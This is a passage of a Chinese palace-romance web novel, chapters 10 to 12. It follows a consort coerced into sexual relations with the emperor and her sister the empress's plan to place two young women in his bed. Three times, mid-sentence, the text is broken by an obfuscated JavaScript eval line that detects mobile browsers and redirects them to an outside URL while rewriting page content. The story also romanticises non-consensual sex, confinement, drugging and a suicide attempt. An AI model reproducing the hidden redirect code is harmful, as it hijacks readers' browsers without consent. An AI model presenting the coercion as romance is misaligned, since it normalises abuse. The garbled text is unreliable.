就在元慕低眸,准备先行福身道歉的时候,一双手忽然按在了她的肩上。 男人的气度冰冷,即便隔着外氅,元慕也能感受到他身上的寒意。 “朕还不知,”他眸光暗沉,“宫妃中竟有这般不知礼数之人。” 这话说得极重。 原本喧嚷的席间,顿时就死寂下来。 周围的人跪了大半,就连方才还趾高气扬的德妃和贤妃,亦是脸色苍白,跪倒在地。 元慕入宫已有两年。 她从入宫的当夜开始承宠。 即便没有翻过彤册,元慕也能在每次诊平安脉时,透过太医失望的叹息,想得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788695|174898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们共枕过多少次。 皇帝来得说多也不多,但说少也不少。 而且每每都是要将她折腾到破晓。 可是两人在外间,从未有过亲密。 元慕的身份晦涩,不能为外人道矣。 然而现在所有人都跪着时,皇帝的手却按在她的肩头。 “即刻禁足一月,”他的声音冷漠,“无诏不得出宫。” 换任何一个嫔妃过来,此刻都要激动得喜极而泣。 元慕的心底,却蓦地泛起一阵恐慌感。 好像有什么东西在失控。 她的唇紧抿着,下意识地想要拉住皇帝的衣袖。 但下一瞬,元慕就对上了元皇后的视线。 元皇后是人群中为数不多还站着的人,她没有看向皇帝,目光死死地盯着元慕。 她们是同父同母的亲姐妹。 相貌也颇为相似,只不过元慕生得更精致清冷些。 元慕是能够在铜镜中,瞧见相似眉眼的。 但和元皇后对上视线的刹那,她就宛若被烫到般松开了手。 皇帝处理政事严苛,处理宫闱间的事,也不会给人留太多情面。 更从不可能,因为在节庆,就将人从轻发落。 除了元皇后。 看着内侍将两位妃嫔拖下去后,皇帝回过身,轻轻说道:“扰了你们庆祝,是朕的不是了。” 他的语调清和,疏冷的神情也恢复静柔。 元皇后躬身,她的言辞认真,眉眼间是小女人般的娇矜:“是臣妾无方,未能尽到皇后职责,扰了您的清静才是。” 帝后四目相对时,是星河相会般的温情。 方才还在风暴漩涡中心的元慕,再度变得无人在意,缄默如黑暗中的影子。 众人提起的心,也渐渐地落下来。 这自古以来,宠妃宠后,都不少见。 但似飞燕合德那般的,还是稀少的。 何况元慕跟元皇后无论是出身、气度,都实在天上地下。 原本紊乱的事宜,就这样又成为了帝后间鹣鲽情深的证明。 一晚上下来,连带元皇后,都对元慕有了几分好脸色。 若不是明日还有一众事,只怕元皇后还要留元慕在身边更久。 因为如果说她是红花的话,那么元慕就是最好的绿叶。 “娘娘,时候不早了,”侍女笑着围在元皇后的身旁,“您还是快些回宫休息吧,等明日您还要庆生辰呢。” 崔三娘和崔五娘也随着众人劝。 两个女孩生得人比花娇,命妇都忍不住多看:“那是崔家的女孩吗?可许人了?模样真是漂亮。” 到了散场的时候,席间还是无比热闹。 只有元慕的身边,冷冷清清。 这份冷情,一直冷情到了她回宫的时候。 刚踏入黑暗中,元慕的脸庞就被掰了过去。 她被按在厚重的宫门上,外氅被褪下后,里衣顺着浑圆白皙的肩头往下滑落。 鹤氅温暖,在隆冬暴雪天穿,也不会觉得冷。 所以元慕里面穿得很少。 这倒是方便了旁人。 元慕的身躯颤抖,雪肤裸露出来的时候,她浑身都在颤,本能地抗拒更多:“别……” 她的嗓音略带哭腔。 但这种事情,从来都不是由元慕做主的。 “下次不许再这样穿,”男人的声音低哑,“方才看见你的时候,朕就想……你。” 10. 第 10 章 明日是皇后的千秋节,事务繁多。 结束后皇帝就将元慕抱去了浴池,她的柔膝发红,跪得微肿,眼眸也是通红的。 看着像是幼兔似的可怜。 雪白的脸庞,泛红的眼眶,楚楚动人的神情。 没由来地就惹人生怜。 但元慕一直想要错开皇帝的视线,她咬住唇瓣,吸气屏息。 浴池里的水滚烫,碰到柔软的肌肤时,都会带来细密的痛意。 她没有想到皇帝会晚上过来,全然没做任何准备,这会儿就像是承雪梨花般,被弄得满脸泪水。 元慕带着哭腔,低声唤道:“不沐浴了……” 她最喜洁,这是难得主动言说不沐浴。 清宁宫的地毯是最好的,就连紫微殿的地毯,都没有这般柔软细腻。 可跪得久了,还是会疼得厉害。 皇帝掰开元慕的腿,指节抚在她的柔膝上,声音微哑:“那怎么行?晚上还睡不睡了?” 最初的时候,她在这上面吃过一点苦头。 想要诞育皇子不易,须得使用些特殊手段助益。 每次承宠过后,元慕彻夜都睡不安稳。 皇帝那时并不知晓,后来跟她一起共枕,方知她闹腾起来是何滋味。 自那以后,他就没让人再给她用……。 元慕被皇帝抱在怀里,尖尖的下颌抵在他的肩头,低泣着说道:“我会乖的……” 她的眼泪很多,滚烫地往下落。 元慕哭得实在是太可怜了。 放在以前,皇帝无论如何也会让她沐浴完。 但在那泪珠掉在手背上时,烫得快要溅到他的心头上。 皇帝叫人重新调了水温,然后将元慕抱坐在怀里,一点点地给她清洗。 元慕就像是怕水的猫儿,很想从皇帝的怀里挣脱,但思及可能到来的惩罚,她还是隐忍着乖乖按捺下来。 等到彻底洗干净的时候,她的唇瓣都被咬肿了。 元慕趴在皇帝的肩头,软臀坐在他的手臂上,被雪白的袍子裹着。 长睫低垂,雪颜柔美。 她乖软得要命,叫人看一眼就生出万种柔情。 只是元慕从未意识到这件事过。 皇帝将元慕抱起,路过殿门前时,他顺手将元慕的鹤氅拾起,袖袍摆动,落下一截枯枝。 他的指节轻动,状似不经意地问道:“这是什么?” “捡到的,”元慕带着倦音,“拿来插花用的。” 她又累又困,半阖着眸,连句话都要说不清楚。 皇帝捏了捏元慕的脸,轻声说道:“什么时候有这爱好了?” 她困得快昏过去,被捏住下颌,也不情愿扬起脸庞。 “就是看见了,觉得好看。”元慕晃着头,想要挣开皇帝指节的限制。 却不想她的动作幅度太大,差些从他怀里掉下去。 元慕惊叫一声,紧紧地搂住他的脖颈。 她顿时没了睡意,皇帝的手就在她的腰侧,怎么都不会让她跌落的。 但他还是被她的反应给弄笑了。 元慕的雪颊透着绯色,她偏过脸庞,可那耳垂也熟透似的嫩红。 皇帝将鹤氅和那枯枝放在桌案上,然后抱着元慕向内殿走去。 他含着笑意,语调轻和:“小心些。” 夜半静谧,私语切切。 恍若是爱侣在温存后的相依。 在半梦半醒间时,人对理智的控制会变得更加困难。 皇帝扣住元慕的后脑,声音压低:“乖一点,让我亲亲。” 他们常做更亲密的事,亲吻却是不常有的。 但皇帝的口吻太温柔了,仿佛藏着无数深情。 唇瓣相贴时,元慕轻轻张开了齿关,吻到深处,会有种被爱的错觉。 她像浸润在温水里,又像沉没在幻梦中。 近日常有的梦魇都消停下来。 直到翌日苏醒,虚假的温潮才最终褪去。 元慕坐起身,天还未曾亮全,但身畔已经冷下来了。 今天是千秋节,是皇后的生辰。 举国欢庆的隆重节日。 皇帝有空时,连礼单都是亲力亲为的。 后宫佳丽三千,元皇后就是那弱水三千中唯一的一瓢饮。 深宠之下,六宫粉黛都失了颜色。 德妃和贤妃都是那般尊贵的女子,可是丧失荣宠,也不过是皇帝一句话的事。 千秋节是盛宴,少了她们二人。 不会有谁不知发生了什么。 后宫和前朝有微妙的联系,世家大族之间,讲究的一荣俱荣、一损俱损。 消息传出后,权贵圈子里必然会出现动荡。 元慕望向外间略带苍黑的天色,浅色的眼眸里没有丝缕光亮。 但这些跟她,其实是无关的。 元慕要做的事,就只有听从长姐的话,帮她将崔家的两个姑娘,送上皇帝的床榻罢了。 免去她们要沦为楚王侍妾的苦楚,便是她这样无用之人,能做出的最有用的事。 千秋节要穿礼服。 这种衣服的制式复杂,典雅沉重,梳妆也有讲究。 元慕的位份不高,更要处处循着礼仪来。 她没有时间再去多想,摇了铃唤侍女后,就立刻下床准备梳洗。 出席这种场合仪态也分外关键。 元慕简单用了些餐点,就开始妆扮,即便如此也是在清晨时,才最终完成妆面。 清冷的容颜,在勾抹过眼尾的朱红后,透着惊心动魄的美感。 眉间的花钿,泛着鎏金色的光芒。 疏美的一张脸,也被映照得别有风情。 侍女都屏住了呼吸,但元慕却连多余的一眼都没看。 她低着眸,指节抚在手炉上,就仿佛是游离在世俗之外。 只有管事的内侍领来新人时,元慕抬头看了一眼。 “陛下听说娘娘近来喜欢花草,”那内侍笑着说道,“专令人将花房的王公公请过来了。” “往后您要是想莳花弄草,让他来做就行。” 他将那位姓王的公公,请到了元慕的跟前。 清宁宫偏僻,又不是热闹的地方,很少有人会愿意来。 大部分人都是皇帝的眼线。 只偶尔会有少数人,因守口如瓶、或是其他才能被送过来的。 说白了,这宫里的人事是皇帝一手操办的。 元慕只是名义上的主子,实则没有任何权力去管顾。 唯有半月前进来的那个宫女,属于意外。 但元慕其实也并不常见她,到跟前过几回。 若是其他嫔妃随口一提,就得此恩宠,定然会觉得是殊荣。 元慕却只觉得一种倦怠感,蓦地生了出来。 她点点头,轻轻“嗯”了一声,然后就没再说什么。 元慕性子清冷,宫里人都知晓,见过人后就恭敬地送她离宫。 - 上午是内外命妇觐见,午间会有一场宴席,下午是使臣赠贺礼和会演,然后晚间还有一场宴席。 前两者是在仪凤宫,后两者是在金明池。 总之一整日,都是在热热闹闹中度过。 元慕先前很期待,但到仪凤宫的时候,她就开始感觉到累了。 这跟寻常的见礼不太一样,要更庄重得多。 即便元皇后脸上都是笑容,但礼钟和雅乐的存在,始终昭示这是怎样肃穆庄严的场合。 整个仪式下来,能将人累得喘不过气。 就至于生辰的主人公,是由衷地感到快乐。 午间的时候,元皇后才得空,将元慕叫了过去。 她脸上是轻松的笑容,盛妆明艳,眉眼间的病气都消退了个一干二净。 “人员本宫都安排妥当了,”元皇后笑着说道,“你到时候,只管随着陛下过去就成。” 崔家的两个姑娘站在她的旁边。 身份尊崇的贵女,听到这话时脸上含羞带怯,灵动双眸中透着的却是期待。 都说最是无情帝王家。 可那是半步登天的权势,而且皇帝年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788696|174898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俊美,整个京兆的青年才俊,都全然无法与之相比分毫。 尽管帝后情深,但如今后宫一无所出,谁会不盼望着将他拉下神坛呢? 多少人打破头都渴望得到的,或许就只有元慕会不情愿。 现在也好。 她不情愿,那往后就不让她来做了。 元皇后脸上带笑,眼底却是纯粹的讥讽。 她倒要看看,等皇帝有了新宠后,还会不会多看元慕一眼。 皇帝再如何,也到底是男人。 而男人哪个不是喜新厌旧的? 元慕垂着眼帘,她轻声说道:“好,臣妾都听您的。” 她安静地陪在元皇后的身边,等到下午会演开始后,方才离开回到她该在的角落里。 没什么人在意元慕。 哪怕昨天才出了那样的事,可所有人都觉得皇帝是在皇后的面子上,才会那样做。 所以元慕依然可以安生地看会演。 她一个人坐在席位上,看盛大的歌舞,看挥剑的军士,看无数精彩的奇珍被进献。 因为皇帝过来了。 整个下午,帝后二人都是待在一处的。 和他们一起的还有元慕的父亲,现今最如日中天的重臣元昳。 除此之外,就连仆从都退得远了许多。 侍候的小宫女不大认得元慕,跟着密友窃窃私语:“真羡慕呀,往后要是能有这样爱重我的夫君,就是再穷苦也没事。” “快别做梦了。”她的密友笑着说道。 两个年轻的女孩子,说起这样的话时,眼里都是明媚的春光。 对待未来,对待爱情。 她们拥有那样美好的憧憬。 元慕的长睫很低地垂落,明明她没比她们大几岁,却好像不是一个世界的人。 直到夜色降临,烟火破空时,才有人想起元慕。 一个眼生的年长内侍,忽而走到了她的跟前,他含笑说道:“您还不信,仆就说是昭仪娘娘嘛。” 因是要赏看烟火和宫灯,其余的灯火不是太亮。 元慕愣了愣,看到楚王那张出挑的面孔时,方才反应过来是他。 “不去那边看看吗?”他自然地说道,“这边位置不太好。” 楚王总算换了合乎礼仪的衣袍。 不过他身形高挑劲瘦,还是有种少年人般的清朗张扬。 元慕的席位不好,她在这边待了一下午,也没有意识到。 她微怔了片刻,轻轻拒绝道:“多谢殿下好意,但皇后娘娘叫我过去了。” 楚王挑了挑眉,说道:“真遗憾,那我们下次再见了,嫂嫂。” 他是非常自来熟的人。 不过也是,皇宫就是楚王的家。 元慕没有多想,跟他告别以后,就去了元皇后那边。 箭在弦上,不得不发。 事到如今,她已经没有空再去想,如果皇帝发怒会如何了。 对于元皇后的命令,元慕没有什么拒绝的余地。 在她刚入宫时,皇帝就明确地告诉过她,皇后的命令比他的要求,还要更重要。 元慕过去的时候,皇帝饮了些酒,丹凤眼也染了少许醉意。 他深色的丹凤眼,在瞧见她过来时,微微抬了抬。 皇帝酒量其实寻常,宴席时常以茶代酒,只有高兴时,会饮少许的酒。 “阿洛,我这边抽不开身,”元皇后压低声,“等这曲歌舞结束,你代我送陛下去祈年殿休息片刻。” 演戏当然要演全套。 这都是事先商量好的话语。 元慕站在皇后和皇帝的中间,纤细的手臂微微扶着皇帝。 她很想要沉稳地应下,但在衣袍遮掩的暗处,皇帝的手已经抚至她的后腰。 最敏/感的嫩/处,被肆无忌惮地掠玩。 元慕的眸里被激出泪水,她咬住唇瓣,强忍住说道:“是,姐姐。” 她的腰眼发颤,眼眶也渐渐泛起红来。 但皇帝全无收敛,轻咬了下她的耳垂,声音压得极低:“腿打开。” 11. 第 11 章 一曲歌舞的时间并不长。 高台之上,身着水袖鲜衣的舞姬,脚步轻盈,在方寸的圆鼓上,跳出优美的步伐。 乐声和着鼓点,怦然跃动。 无数人的目光都被这曲歌舞夺走了。 就连元皇后都对此赞不绝口。 “传本宫的口谕下去,”她拊掌笑道,“都有赏,重重有赏。” 元皇后身体不佳,马球骑射等活动,全都无法参与当中,连寻常歌舞,亦是难以进行。 偏生她又最好热闹。 于是皇帝令人专门练了乐班。 无数歌女舞姬数年如一日的汗水,都只为博皇后一笑罢了。 这样的歌舞无疑是最顶级的。 所有人都在认真观看,只有元慕始终心不在焉。 她的额前泛着细密的汗水,发丝也微微浸湿。 雪颜透着薄红,眼尾的朱红也似暗火般燃烧。 元慕纤白的指节收紧,然后又放松,继而再度收紧。 昏暗的夜色里,只有烟火照彻苍黑时,能将一切看得清晰。 所以就连近处的元皇后,也不知元慕此刻是怎样的狼狈、无措。 她的眼眶里盈满泪水,用哀求的目光看向皇帝,朱唇被咬得红肿,更引人生出摧折的欲/念。 但元慕似是从未发觉过这件事。 她不贞,却懵懂,她荡媚,却天真。 无意识地蛊人心神。 就像是志怪笔记中的精魅,探出细细的雪白手臂,带着青涩稚纯的模样,缓缓环住男人的肩头。 元慕快要崩溃地哭出来了。 皇帝没有跟元皇后言语,就直接从高台上离开。 元皇后满心挂念的都是今晚的计划,胸腔里如擂钟鼓,看到两人离开后,立刻安排人,也没有留意到他们之间不寻常的亲密。 错开人前的视线后,皇帝就打横将元慕抱起。 原本说的是要元慕陪他去祈年殿休息,最终却成了他抱着元慕过去。 在离开高台之后,元慕紧绷的身躯一下子就放松下来。 她的身躯震颤,眼眸里尽是泪水。 可怜得像是什么一样。 但元慕的手臂,仍旧是紧紧地环住皇帝的脖颈。 她怕羞,脸皮薄,整张红透的脸都埋在他的衣襟。 礼服典雅高贵,好似仍是端庄的昭仪娘娘,然而那素色外袍之下的里衣却湿透了。 元慕的泪水很好地压抑下来,皇帝方才因为窥见她与楚王亲近时产生的戾气。 他们之间当然不可能有什么。 但元慕这个人,前科太重。 瞧着单纯稚幼,实则水性杨花,极擅长引诱男人。 可元慕哭得太可怜了。 她一哭身上就会迸发出那种难以言说的馥郁香气。 皇帝身上也被沾染,深暗的黑色礼服上,盘踞的应龙爪纹,都仿佛变成了盛放的新花。 他捧起元慕的脸庞,低声哄道:“不哭了,没人瞧见。” 谁敢直勾勾地去看皇帝的天颜呢? 更何况,皇帝没有给人分享的枕边人泪眼的喜好。 观赏的高台距离皇帝休息的祈年殿并不远。 走的又是御道。 沿途只有军士和卫从。 这是一片寂静无人的道路。 所以放松下来后,元慕的眼泪根本停不下来。 她甚至在想,皇帝是不是知道了她们的计划,故意借此来惩罚她。 但皇帝只是轻轻地揉了揉元慕的眼尾。 “早叫人唤你过去,偏要在角落里藏着,”他语调清和,“还跟阿章搅在一起,才乖了几天就又有想法了?” 阿章是楚王的小字。 皇帝的口吻温柔,隐约透着些长辈般的纵容和疼溺。 言辞还有些严格,但实在没什么指斥的意味。 皇帝的性子阴晴不定。 但并不是会抓着一件事不放的人。 相反,皇帝某些时刻反倒是宽容的,动过怒后,惩诫过后,就不会再多说什么。 元慕却迷惘起来。 没有人唤她过去。 元慕仰起头,有些急切地辩解:“没有人让我过去,陛下。” “那阿章呢?”皇帝的指节抚上她的唇瓣,“先前带你见他,是因为朕在。” 他轻声问道:“朕不在的时候,你该不该和他有接触?” 再没有比宫廷更重女子贞洁的地方。 在寻常人家,如果和外男有牵扯,最多不过是一纸休书。 可在皇家,这是对天子的大不敬。 若是真的敢有违逆,等着的是无数暗刑和鸩酒白绫。 元慕跟楚王,除却在那老内侍跟前的闲语外,什么都没有多言。 但想到那根形状优美的枯枝,她蓦地不太敢直视皇帝的眼。 元慕低下头,乖乖地说道:“不应该。” 她的长睫微颤,声音含怯:“我……我以后会记得的,陛下。” 在皇帝这里,反驳和辩解是没有用处的。 他认定的事,是没有改变余地的。 想起前不久皇帝刚回京时的那一晚,元慕到现今仍然觉得心有余悸。 好在很快就到了祈年殿。 皇帝饮了些酒,眉眼里沁着少许醉意。 惯常内侍会给他备好解酒的茶水,但元慕在这边,就没让其他人假手。 她不习惯被人服侍,也不太会服侍人。 然而这似乎是紫微殿侍从约定俗成的事。 他们很少来打搅,只会在暗处将物什都备齐。 帝后的关系亲近,皇后偶尔也会插手皇帝这边的事务。 所以元皇后想要给皇帝的身边安排人,才会那样的轻松。 元慕方才受了惊,此刻再一想到她们的计划,就有些犯难。 这是皇后的主意。 可谁知道皇帝会不会迁怒到她的头上? 元慕神色迟疑,掌心也微微沁了冷汗。 但博山炉里燃着的袅袅细烟,显然是已被人动过手脚的新香料。 这时候想要退避,也已经没有可能。 元慕强作镇定,捧起矮案上的杯盏,端到皇帝的跟前。 却不想男人扣住她的手腕,轻轻说道:“朕之前是怎么喂你的?” 元慕哭得厉害的时候,嗓子都会变沙哑,所以皇帝时常半途会喂她喝水。 她抖得站不稳,于是他就会吻上她的唇,将水渡进她的口中。 偶尔他还会故意喂她喝很多水。 元慕身上的热汗还没有冷下来,浸透的里衣也没有更换。 皇帝将她拉近了少许,她被迫靠近他。 外间还是千秋节,为皇后庆祝生辰的欢声,而在祈年殿内,姐姐的丈夫握住她的手腕,将两人的距离却越来越近。 两人的唇离得极近,元慕的心跳漏了半拍,这样的场景会给她一种时光的错乱感。 让她想到那个湿润的、幔帐摇曳的雨夜。 但指尖掐住掌心,带着绵密痛意时,元慕渐渐清醒过来。 她不是来跟皇帝亲密的。 方才在姐姐的跟前,与姐夫那样接触,对她来说就已经是极限。 元慕偏过头,她单膝跪在软榻上,腰肢被皇帝揽着,眉眼间却是轻微的抗拒。 皇帝对她的情绪感知多敏锐。 他们在一起两年,元慕皱皱眉,他都知道她想说什么。 皇帝脸上的笑意淡了下来。 但元慕的下一句话,却让他的唇又扬了起来。 “您又该……了,”她的脸颊泛红,“晚上,晚上再那样吧。” 皇帝向后倚靠,声音低哑:“可是晚上朕要去仪凤宫,今天你姐姐生辰,总要给她些体面。” 那杯盏被推了回来。 元慕望向那色泽极浅的茶水,胸腔不住地起伏。 她真的很不擅长做这种事。 听到外间猫叫的动静时,元慕的心脏快要跳到喉咙,她连思考皇帝的话语都做不到。 崔家的两个姑娘快过来了,她必须赶快让皇帝喝下解酒茶。 “我没关系的,”元慕有些急地说道,“您去吧。” 这话说得真是全无城府。 但皇帝却笑了。 他扣住元慕的细腰,很轻地碰了碰她的额头:“你就这样要将朕推出去吗?” 男人的语气缱绻,唇瓣被吻住时,元慕是懵然的。 她手里的杯盏被皇帝扫落在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788697|174898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,瓷杯洒在地上,骨碌碌地滚到角落里。 他是故意将解酒茶弄洒的。 皇帝可能真的是醉了。 他有着与那沉稳气度和雍容姿态,全然不相符的酒量。 皇帝熟稔地扣住元慕的手腕,将她从层叠的礼服中剥出来,俯身吻上那雪白的肩头。 她望向那洒了一地的茶水,心中彻底绝望。 欲死的念头都生了出来。 元慕的里衣是雪白的,也是肮脏的,透着甘美的甜意,馥郁得不可思议。 当皇帝吻上她的肩骨时,她战栗地想要躲开。 但那对精致的蝴蝶骨,却已经被落下了吻痕。 皇帝的丹凤眼里,透着的是昭然的醉意。 酒劲渐渐上来了。 他的眸底不复清明,疏淡的声音也暗藏病态:“为什么……总是想将朕往外推?” 元慕慌乱的心神,在此刻蓦地静谧下来。 他在跟谁说话? 他在怨憎谁将他往外推? 翻涌的热潮,顷刻间尽数冰冷。 元慕被皇帝抱在怀里,湿润的长睫颤动,胸腔里的最深处,没有由来地作痛。 尖锐绵长的疼,就像是旧疤痕,在每个阴天雨夜发作。 很多人都说她不像元家的女儿。 曾经赫赫有名的洛阳元氏,前朝帝姓,不该会有这样无能怯弱的嫡氏子孙。 但事实是,她跟她姐姐生得是很像的。 同父同母的姐妹,哪怕成长环境天上地下,容颜也总会有相似之处。 元慕在庄子里磕磕绊绊学写字的时候,元皇后就已被崔夫人带着,入过不知道多少回宫闱,见过不知道多少次帝后储君了。 如果不是元皇后体弱,无法生子。 元慕或许此生,都不会有再度窥见皇帝天颜的机会。 是因为元萦,她才能够忝列帝王嫔妃之位。 可是回想起那一件件、一桩桩时,元慕忽然疲惫到了极点。 她望向皇帝的眉眼,蓦地觉得厌倦。 皇帝在她的身上找元皇后的影子。 但她不同样是在刻舟求剑,想从他的身上寻找故人魂魄吗? 元慕扣住腕间的细镯,强逼着自己阖上眼眸。 - 元皇后自幼多病,缠绵病榻,年寿难永。 但跟那些深居内宅的病秧子不同,她天性就热爱一切欢嚷的事物。 病得最重的时候,元皇后也要去看弄戏名伶们表演。 她享受万人瞩目的滋味,喜欢全场艳羡的眼神。 是以每年帝后生辰,元皇后都会打起十二分的精神去对待。 近来她精力还算可以,一边继续在高台上看表演,一边不紧不慢地安排祈年殿的事。 父亲元昳方才有事抽身离开。 这边皇帝和元慕走后,他又回来了。 元皇后跟父亲的关系寻常,他虽然很疼她,但最看重的永远都是兄长。 哪怕她如今做了皇后,撑着病体做出过几番事迹。 也少见父亲眼里出现过几回由衷的赞许与认可。 元皇后正欲和父亲打个招呼,就听到侍从压低声音,匆匆来报:“不好了,娘娘!祈年殿那边出事了——” 她的容色瞬间大变。 但元皇后甫一站起身,便听到父亲冷淡说道:“都做这么久的皇后了,性子怎么还这么急?” 她咬紧牙关,恭敬地说道:“女儿谨遵父亲教诲。” “是有些私事,须要女儿去处理,”元皇后低声说道,“您先休息片刻,女儿马上就回来。” 之前往宫里送人,实则并不是她的主意。 这世界上没有女人会情愿,把自己的丈夫推到别人怀里。 最初始时,元皇后曾经想过,就算是拼了这身命,她也要为皇帝诞下嫡子。 是父亲揽下了她,并提出将元慕送进宫。 元皇后不甘,如今皇帝对元慕三番五次的回护,更是让她本能生出危机。 这回往宫里送人,元昳还并不清楚。 元皇后恐生事端,并不敢与他多说。 可还未等她抽身,几个崔家的侍女就蜂拥着跪到她的跟前:“娘娘!求您救救我们家小姐吧——” 12.第 12 章 祈年殿的穹顶格外特殊,像是悠远的星空般瑰丽。 最中央横亘着的是紫微垣。 元慕并不懂天象,这在民间是禁忌。 前朝就有一位大臣,是因为暗里盘算星象,企图窥探皇命,而被猜忌的帝王处以极刑。 但元慕的命格特殊,很小的时候,就常见到术士。 他们单单是看了她的面相,就惊骇万分,仿佛她是什么行走的灾祸。 元慕在庄子里的时候,偶尔也会有附近的小孩,用石子砸她的窗户。 他们发出明晃晃的嬉声:“这就是那个灾星的住处吧!我们这样算不算为民除害?” 命运是玄妙的物什。 元慕仰躺在软榻上,凝眸看向穹顶的群星,在阵阵浪潮中无意识地走神。 但下一瞬,她的思绪就被强行拽了回来。 皇帝手中冰冷的扳指,碰到柔软雪肤时,带来惊人的刺激感。 殿里盛着超出时令的牡丹花,深红浅红层叠,透着馥郁的芬芳,凝露垂芯,美丽得如在仙境。 元慕的眉拧了起来,她咬住唇瓣,低低地吸气。 但皇帝没再怜着她。 他平素不常饮酒,可一旦醉起来,就有些失控。 皇帝俯身吻住元慕的唇,他咬了一下她的下唇,轻轻斥责:“这时候也走神?” 她禁不住地垂泪,挣扎地扭动腰肢。 温和的潮水过去后,再度掀起的是惊涛骇浪。 元慕的思绪混沌,无暇去思考任何事,她靠在皇帝的怀里,手腕被反剪着扣到身后。 身上的礼服早已褪去,只余下雪白的狐裘。 还是皇帝怕她冷着,给她披上的。 白昼时的清冷消弭,元慕眼眶通红,坐在皇帝的膝上哭,就像只受了欺负的小狐狸。 她的哭音阵阵,在寂寂的幽夜里,格外动人。 细白瘦削的腕骨被束缚着。 冰肌之下,仿佛是玉一样的骨节。 如果没有那段材质粗劣的细镯,触感或许会更明了。 它非常细,色泽也非常浅,平素很难让人注意到。 元慕入宫两年来,都没有谁留意过。 可某些时刻,这只细镯的存在却常会变得分外清晰。 皇帝的眸底深暗。 他抚着元慕的脸庞,丹凤眼晕染醉意:“先前在朔方时,偶然遇了一块璞玉。” “工匠说是上好的材质,朕就让人拿去打了对镯子,”皇帝在她的耳边轻语,“马上就是新年,给你做新年礼物好吗?” 他的指节扣住她的皓腕,不轻不重地摩挲细镯之下的雪肤。 元慕被皇帝用一种怪异的姿态,抱在怀里。 她雪白的耳尖颤抖,透着柔软的薄红。 听到皇帝的话语后,浮沉于混沌中的元慕,蓦地就从那杂乱思绪中挣扎出来。 他逼得太近,她本能地涌起畏惧。 皇帝的气势太强,即便是最温柔的时候,也让元慕无法放松心弦。 他是真的醉了。 元慕抿着唇,那杯茶水洒了以后,她就有些破罐子破摔。 殿内燃着的香,气息独特。 但没有茶水的催化,并不能发挥什么作用。 元慕很想将手抽回来,却没想到,她稍一挣动,皇帝就将她扣得更紧了。 她低哼一声,本能地错开皇帝暗沉的眸光。 皇帝不是第一次如此,事实上从元慕刚入宫时,他对她腕间的这只细镯,就看不顺眼到了极致。 在他眼里,那是她不贞的表征。 他厌烦她身体残缺,衔恨她并非完璧。 可是皇帝好像不记得,当初元慕都快要嫁人了,是他强将她夺进宫的。 她是性子像泥团般柔软的人,逆来顺受,隐忍少言。 唯有在这件事上,元慕坚持得可怕。 为此她甚至尝试绝食过,自缢过。 将她从那根白绫上抱下来时,皇帝的眼里是前所未有的恐怖。 元慕从未受过那么重的罚,整整五个日夜,她都是被囚禁在黑暗帷幔中度过的。 意识被剥夺之后,对时间的感知都变得分外模糊。 皇帝初始喂她了点药,后来药也没再喂,就让她那样在恐怖的清醒中,硬生生地捱完罚。 惩罚期结束以后,元慕再也没敢在他跟前提过半个“死”字。 但那次的事过去后,皇帝同样没有再跟元慕说过,取下她腕间这根细镯的事。 他醉起来真是太折磨人了。 元慕极力地想要向后躲,但皇帝攥住她的踝骨,就将她给拉了回来。 柔软的脸颊被掐住,水眸也被迫仰起。 “不喜欢吗?”皇帝的词调轻缓,“那有别的想要的吗?也可以和我说。” 他的声音清和,眼底实在算不上清明。 然而就在两人拉扯的时候,殿门倏然被人从外间推开了。 两个衣着分外单薄的年轻女孩,便那样轻轻走了进来。 崔三娘和崔五娘身着不合时节的纱裙,蚕丝细腻,薄薄的云纱什么都遮不住,弧度和曲线全是那样分明。 在袅袅香烟的熏染上,更显绰约。 两人踏着莲步走进来,眸里含着默默柔情,举手投足都引人瞩目到了极致。 但皇帝看也没看去一眼。 他执起侧旁的外氅,立刻就披在了元慕的身上,将那靡靡春光全都遮掩在怀里。 元慕方才身上还有件狐裘。 但在她挣动时,狐裘就顺着肩头滑落下去。 大片的白皙皮肉全都裸露出来,浑圆的肩头,颤动的背骨,像是霜雪浇灌而成。 就连那对浅浅的腰窝都在夜色中发着光。 元慕的身躯抖了一下,她像受惊的稚雀般,环住皇帝的脖颈。 亲近乍然被打断,饶是皇帝眉眼间尚有醉意,他的神情也霎时就冷了下来。 偏生两个姑娘全无察觉。 她们朝着那方软榻走近,眉眼盈盈,声音甘甜:“陛下,我们是奉命来侍候您的。” 恐怕外间无论如何都想不到。 人前端庄尊崇的贵女,在人后会有这样谄媚的一面。 是因为她们荡纵吗?不是的。 是权力的气息太过甘美,会让人变得面目全非。 但她们不该这个时候过来的—— 